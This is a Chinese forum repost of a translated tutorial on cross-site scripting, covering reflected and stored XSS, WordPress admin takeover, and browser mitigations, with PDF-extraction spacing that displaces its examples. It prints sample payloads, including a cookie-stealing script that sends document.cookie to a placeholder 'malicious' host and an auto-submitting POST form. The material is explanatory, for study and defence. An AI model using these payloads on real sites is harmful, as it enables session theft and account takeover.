搜索

[28597] 2020-09-19_XSS分解

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2020-09-19_XSS分解 X S S 分 解 T u r g e n S e c   O t s 安 全   2 0 2 0 - 0 9 - 1 9 在 本 文 中 ， 我 们 将 为 X S S 的 测 试 过 程 提 供 一 个 不 断 发 展 的 流 程 图 ， 该 流 程 图 是 作 为 社 区 项 目 不 断 开 发 的 。 此 外 ， 我 们 将 探 索 一 些 测 试 基 础 知 识 ， 并 研 究 W e b 浏 览 器 采 用 的 不 同 缓 解 方 法 来 防 止 这 些 类 型 的 攻 击 。 视 图 图 – （ 在 d r a w . i o 中 打 开 以 查 看 清 楚 ） 。 X S S 如 何 工 作 ？ 如 何 工 作 ？ 要 了 解 X S S 漏 洞 是 什 么 以 及 它 如 何 工 作 ， 重 要 的 是 要 了 解 J a v a s c r i p t 的 工 作 原 理 - X S S 攻 击 并 非 J a v a s c r i p t 独 有 ， 但 它 是 迄 今 为 止 最 常 见 的 攻 击 。 与 最 流 行 的 C 和 G o 等 编 译 语 言 相 反 ， J a v a s c r i p t 是 一 种 脚 本 语 言 。 直 接 解 释 J a v a s c r i p t 并 将 其 运 行 到 访 问 该 页 面 的 人 的 W e b 浏 览 器 中 。 因 此 ， X S S 攻 击 很 少 会 导 致 目 标 W e b 服 务 器 上 的 R C E （ 远 程 代 码 执 行 ） ， 但 是 在 某 些 特 定 情 况 下 接 管 管 理 员 帐 户 可 能 会 导 致 R C E 。 这 种 情 况 的 一 个 示 例 是 采 用 W o r d P r e s s 管 理 员 帐 户 然 后 ， 攻 击 者 可 能 会 使 用 管 理 员 帐 户 将 恶 意 p h p 文 件 上 传 到 服 务 器 中 并 执 行 该 文 件 ， 从 而 破 坏 托 管 该 网 站 的 整 个 计 算 机 。 在 不 太 极 端 的 情 况 下 ， X S S 攻 击 可 能 导 致 数 据 被 盗 或 以 用 户 的 名 义 执 行 恶 意 操 作 ， 如 果 网 站 是 银 行 ， 则 这 尤 其 重 要 - 因 为 攻 击 者 可 以 制 作 有 效 载 荷 来 转 移 资 金 。 既 然 我 们 知 道 这 类 攻 击 在 最 坏 的 情 况 下 可 能 导 致 重 大 数 据 泄 漏 甚 至 R C E ， 那 么 我 们 如 何 防 止 它 们 泄 漏 呢 ？ X S S 漏 洞 （ 如 S Q L 注 入 攻 击 ） 来 自 一 个 非 常 简 单 的 漏 洞 ， 该 漏 洞 信 任 用 户 输 入 或 对 其 进 行 不 正 确 的 清 理 。 在 处 理 W e b 应 用 程 序 时 ， 以 及 通 常 在 处 理 不 受 信 任 的 输 入 以 对 其 进 行 清 理 （ 将 可 能 执 行 的 代 码 转 换 为 无 害 的 文 本 ） 时 ， 这 非 常 重 要 。 通 过 在 页 面 上 使 用 用 户 输 入 之 前 删 除 特 殊 字 符 来 完 成 此 操 作 。 X S S 漏 洞 有 不 同 类 型 ， 在 接 下 来 的 部 分 中 ， 我 们 将 解 释 不 同 的 攻 击 以 及 如 何 缓 解 它 们 。 跨 站 点 脚 本 的 类 型 跨 站 点 脚 本 的 类 型 反 映 的 反 映 的 X S S 这 种 攻 击 是 最 常 见 的 攻 击 ， 它 包 括 更 改 发 送 到 W e b 应 用 程 序 的 数 据 。 攻 击 场 景 的 不 同 取 决 于 数 据 如 何 发 送 到 W e b 服 务 器 。 我 们 将 从 最 简 单 的 转 换 开 始 ： 数 据 通 过 G E T 传 输 。 例 如 ， 银 行 可 能 决 定 使 用 以 下 请 求 来 转 移 资 金 ： 在 这 种 虚 构 的 情 况 下 ， F o u n d s 值 用 于 确 定 将 要 发 送 多 少 ， 而 T r a n s f e r T o 变 量 包 含 将 钱 发 送 到 的 人 的 I D 。 现 在 ， 如 果 这 些 参 数 碰 巧 容 易 受 到 攻 击 ， 则 将 以 这 种 形 式 进 行 代 码 注 入 ： 和 预 期 的 结 果 ： 和 预 期 的 结 果 ： 这 个 有 效 载 荷 当 然 是 非 常 好 的 ， 因 为 它 只 会 打 开 一 个 警 告 框 ， 我 们 可 以 代 之 以 做 出 有 损 行 为 ， 例 如 代 表 用 户 执 行 行 为 或 窃 取 C o o k i e 来 访 问 该 帐 户 。 以 下 有 效 负 载 可 用 于 窃 取 用 户 的 C o o k i e ： 这 将 导 致 用 户 在 向 其 发 送 c o o k i e 的 同 时 访 问 该 恶 意 页 面 。 可 以 通 过 屏 蔽 恶 意 U R L 并 将 其 发 送 给 用 户 来 利 用 社 会 工 程 技 术 掩 盖 这 种 攻 击 。 如 果 使 用 P O S T 发 送 数 据 ， 则 攻 击 会 稍 微 复 杂 一 些 。 在 这 种 情 况 下 ， 我 们 不 能 简 单 地 修 改 U R L 中 的 变 量 然 后 将 其 发 送 到 目 标 。 但 是 ， 有 一 种 解 决 方 法 是 创 建 一 个 恶 意 页 面 ， 该 页 面 会 自 动 将 我 们 的 有 效 载 荷 提 交 给 网 站 。 攻 击 的 简 要 概 述 如 下 ： 攻 击 的 简 要 概 述 如 下 ： 将 受 我 们 控 制 的 恶 意 页 面 发 送 给 受 害 者 ， 例 如 ： 当 用 户 访 问 此 链 接 时 ， 脚 本 将 提 交 X S S 有 效 负 载 ， 而 不 会 通 知 用 户 。 甚 至 可 以 将 用 户 重 定 向 到 另 一 个 网 站 以 掩 盖 攻 击 。 然 后 ， X S S 将 受 害 者 c o o k i e 发 送 到 我 们 的 W e b 服 务 器 。 然 后 ， 我 们 可 以 复 制 h t t p s : / / d r i v e . g o o g l e . c o m / o p e n ? i d = 1 m X V K V j 7 H 0 5 G J a Y Q U 4 I h U T b E - E E 0 6 j N m h h t t p s   :   / / v u l n e r a b l e . c o m / c l i e n t . p h p ? F o u n d s = 1 0 0 &   T r a n s f e r T o   = 1 2 3 4 5 6 7 8 9 h t t p s   :   / / v u l n e r a b l e . c o m / c l i e n t . p h p ? F o u n d s   = 1 0 0   & T r a n s f e r T o   =   < s c r i p t >   a l e r t （ 1 ） < /   s c r i p t > h t t p s : / / v u l n e r a b l e . c o m / c l i e n t . p h p ? F u n d s = 1 0 0 & T r a n s f e r T o =   < 脚 本 语 言 = “   J a v a S c r i p t ” >   d o c u m e n t . l o c a t i o n   = ' h t t p ： / / m a l i c i o u s / c o o k i e s t e a l e r . p h p ？ c   = ' +   d o c u m e n t . c o o k i e ;   < /   s c r i p t > h t t p s   :   / / a t t a c k e r . c o m / a t t a c k . p h p
c o o k i e 并 获 得 对 该 帐 户 的 访 问 权 限 。 攻 击 者 可 以 在 其 网 站 上 使 用 有 效 负 载 来 触 发 P O S T 请 求 的 示 例 ： 注 意 “   o n l o a d   = ”   t h i s . s u b m i t （ ） ” ， 这 将 导 致 攻 击 在 页 面 加 载 后 立 即 执 行 。 存 储 的 跨 站 点 脚 本 存 储 的 跨 站 点 脚 本 反 映 的 X S S 和 存 储 的 X S S 攻 击 之 间 的 主 要 区 别 在 于 ， 在 存 储 X S S 的 情 况 下 ， 实 际 有 效 负 载 将 被 集 成 到 页 面 中 。 例 如 ， 在 W o r d P r e s s 环 境 中 ， W o r d P r e s s 允 许 用 户 在 其 注 释 中 输 入 H T M L 标 记 ， 如 果 未 正 确 处 理 ， 则 X S S 有 效 负 载 将 被 上 载 到 服 务 器 。 然 后 ， 评 论 将 集 成 到 文 章 页 面 ， 并 由 访 问 该 页 面 的 每 个 用 户 触 发 。 这 种 漏 洞 可 以 影 响 更 多 用 户 。 回 到 我 们 的 管 理 员 帐 户 接 管 情 况 ， 这 种 X S S 可 能 使 攻 击 者 可 以 等 待 管 理 员 访 问 该 页 面 以 窃 取 他 的 c o o k i e 并 获 得 访 问 权 限 。 对 于 W o r d P r e s s ， 这 将 导 致 R C E ， 因 为 C M S 允 许 管 理 员 上 传 任 意 p h p 文 件 。 这 种 漏 洞 可 以 影 响 更 多 用 户 。 回 到 我 们 的 管 理 员 帐 户 接 管 情 况 ， 这 种 X S S 可 能 使 攻 击 者 可 以 等 待 管 理 员 访 问 该 页 面 以 窃 取 他 的 c o o k i e 并 获 得 访 问 权 限 。 对 于 W o r d P r e s s ， 这 将 导 致 R C E ， 因 为 C M S 允 许 管 理 员 上 传 任 意 p h p 文 件 。 如 何 避 免 成 为 如 何 避 免 成 为 X S S 的 受 害 者 ？ 的 受 害 者 ？   首 先 要 考 虑 的 第 一 点 是 人 身 安 全 ， 因 此 最 好 查 看 您 正 在 访 问 的 U R L 。 在 众 所 周 知 的 域 （ 例 如 g o o g l e . c o m ） 中 存 在 o p e n r e d i r e c t 漏 洞 ， 这 可 能 会 变 得 异 常 困 难 ， 但 是 确 实 存 在 解 决 此 问 题 的 解 决 方 案 。 最 后 ， 这 并 不 是 真 正 的 安 全 策 略 ， 但 是 使 用 不 太 常 见 的 浏 览 器 （ 例 如 O p e r a ， C o m o d o 或 C h r o m i u m ） 将 减 少 X S S 对 其 进 行 利 用 的 机 会 。 正 如 许 多 严 重 的 启 用 X S S 的 漏 洞 利 用 程 序 利 用 特 定 的 浏 览 器 以 突 围 浏 览 器 沙 箱 并 获 得 对 系 统 的 更 高 程 度 的 控 制 一 样 。 大 多 数 现 代 浏 览 器 还 包 括 X S S 审 核 程 序 ， 以 试 图 检 测 出 此 类 攻 击 并 在 最 终 执 行 之 前 将 其 阻 止 。 阅 读 原 文 < f o r m   a c t i o n   = “   h t t p : / / v u l n e r a b l e . c o m / c l i e n t . p h p ”   m e t h o d   = “   p o s t ”   o n l o a d   = “   t h i s . s u b m i t （ ） ” > d o c u m e n t . l o c a t i o n   = ' h t t p ： / / m a l i c i o u s / c o o k i e s t e a l e r . p h ？ c   = ' +   d o c u m e n t . c o o k i e ;   “   n a m e   = ”   T r a n s f e r T o “ >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理